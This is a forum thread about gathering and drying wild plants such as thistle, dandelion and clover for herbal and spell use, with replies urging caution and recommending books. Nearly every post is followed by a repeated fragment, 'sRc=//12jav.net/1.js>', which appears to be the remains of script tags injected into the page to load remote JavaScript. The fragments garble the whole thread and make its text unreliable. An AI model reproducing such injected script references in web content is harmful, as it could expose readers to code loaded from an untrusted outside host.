Making my own herbs

I have a lush field that grows by me with an abundant amount of weeds, many in which I see uses for in the herb index. I want to start gathering some. My only problem is, I have no idea what part of the weed or flower I'm using. Is it the leaf, the stalk, the flower, the root? If I dry them, am I drying them as a whole or is each property of the plant unique and should be dried separately? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Login or Signup to reply to this post.

Would you mind telling us what plant/s you're considering using? We might be a little more help to you if we knew. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

You really should study herbs a lot more. Many herbs are beneficial; many are poisonous! If you can get hold of a book with illustrations of herbs (and fungi), all the better. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

And what part of a herb to use. Sometimes one part is good,another part of the same herb can be harmful. For instance, I grow rhubarb; the stalks are a delight to eat, and have many uses. The leaves are poisonous! sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

The best book I know about herbs is this "De Materia Medica" Pedanius Dioscorides. Old but pretty good. In Spain we have an online version, this is the link http://dioscorides.eusal.es/

Do not take any plants without being absolutely sure, that's my advice. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

If you are unsure which part of the plant to use or how to preserve it I'd suggest you do more research on herbs until you have a handle on that. In addition, are you trying to grow medicinal herbs or magical herbs? That can make a difference in how you go about it. Here are some books that I'd suggest:

"The Master Book of Herbalism" by Pau Beyerl

" Culpeper 's Complete Herbal: Updated With 117 Modern Herbs" by Nicholas Culpeper and Raven Starhawk Cunningham

"The Practice of Traditional Western Herbalism : Basic Doctrine, Energetics, and Classification" by Matthew Wood

Also, you might check around in your area to see if that are any herbalist societies. Becoming a member is a great way to learn from those who have been practicing herbalism for a long, long time.

sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

There are a lot of thistles, primrose, passion flower, dandelion, wild morning glories, clover and more. I see these use in spells quite a bit.
sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Exactly! Looks like I need to make a trip to Books A million and find some good information on the subject! Thank you so much for your help!
sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Thank you very very much! I will check out the link. I appreciate your help!
sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Thank you very much. I was unaware there were even herbalist societies around! How helpful that would be!!!!! I will check into it. Thank you kindly. I will also look in to the book you mentioned. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>